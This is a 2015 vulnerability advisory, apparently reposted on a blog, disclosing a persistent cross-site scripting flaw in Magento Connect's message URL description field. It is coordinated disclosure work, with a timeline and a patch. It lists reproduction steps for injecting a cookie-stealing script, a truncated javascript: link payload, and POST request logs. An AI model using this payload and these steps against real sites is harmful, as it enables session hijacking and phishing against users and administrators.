===============
Ebay Magento Bug Bounty #14 - Persistent Description Vulnerability
References (Source):
====================
http://www.vulnerability-lab.
EIBBP-31602
Release Date:
=============
2015-06-30
Vulnerability Laboratory ID (VL-ID):
==============================
1463
Common Vulnerability Scoring System:
==============================
3.8
Product & Service Introduction:
==============================
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.
Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability
inside our system, please tell us right away.
( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security)
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side cross site scripting web vulnerabilityin the Magento Commerce web-application.
Vulnerability Disclosure Timeline:
==============================
2015-03-17: Researcher Notification & Coordination (Hadji Samir)
2015-03-18: Vendor Notification (eBay Inc Security Team - Bug Bounty Program)
2015-04-03: Vendor Response/Feedback (eBay Inc Security Team - Bug Bounty Program)
2015-05-16: Vendor Fix/Patch (Magento Developer Team)
2015-06-30: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Magento - Connect Web Application 2015 Q2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
==============================
An application-side cross site scripting web vulnerability has been discovered in the official Magento Connect web-application.
The vulnerability allows remote attackers to inject own script code to the application-side of the affected application module.
Remote attackers are able to inject own script code to the url description link input of the send message module in magento-connect.
Remote attackers are able to inject in the profile description url own script code to compromise user/moderator/admin session data.
The request method to inject is POSt and the attack vector is located on the application-side of the affected module.
The security risk of the application-side cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.
Exploitation of the persistent input validation web vulnerability requires a low privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source
and persistent manipulation of affected or connected application modules (api).
Vulnerable Service(s):
[+] Magento Connect
Vulnerable Module(s):
[+] send message magento-connect
Vulnerable Parameter(s):
[+] url link description
Proof of Concept (PoC):
=======================
The application-side vulnerability can be exploited by remote attackers with low privileged application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the security vulnerability ...
1. Register an magento account
2. Login to the service
3. Surf to the profile service
4. Inject own script code payload with document.cookie/domain request to the url description input field
5. Save the input
6. The script code execution occurs in the next layer were the input is visible as profile
7. Successful reproduce of the security vulnerability!
POC: Exploitcode (js)
<div class="message-body">
<a href="javascript:alert(
</div>
--- PoC Session Logs [POST] (Injection Point) ---
Host=www.magentocommerce.com
User-Agent=Mozilla/5.0 (X11; Linux i686; rv:37.0) Gecko/20100101 Firefox/37.0
Accept=text/html,application/
Accept-Language=en-US,en;q=0.5
Accept-Encoding=gzip, deflate
Referer=https://www.
Cookie=frontend=
X-Forwarded-For=8.8.8.8
Connection=keep-alive
Content-Type=multipart/form-
Content-Length=1049
POSTDATA =-----------------------------
Content-Disposition: form-data; name="to"
addext01
-----------------------------
Content-Disposition: form-data; name="subjects"
test
-----------------------------
Content-Disposition: form-data; name="description"
<a href="javascript:alert(
-----------------------------
Content-Disposition: form-data; name="extension_url"
-----------------------------
Content-Disposition: form-data; name="parent_message_id"
0
-----------------------------
Content-Disposition: form-data; name="prevent_click"
0
-----------------------------
Content-Disposition: form-data; name="draft"
0
-----------------------------
Content-Disposition: form-data; name="send"
0
-----------------------------
Reference(s):
https://www.magentocommerce.
https://www.magentocommerce.
https://www.magentocommerce.
Security Risk:
==============
The security risk of the application-side cross site scripting web vulnerability in the url description is estimated as medium. (CVSS 3.8)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz@hotmail.fr]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com -www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab -youtube.com/user/
Feeds: vulnerability-lab.com/rss/rss.
Programs: vulnerability-lab.com/submit.
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
Komentarų nėra:
Rašyti komentarą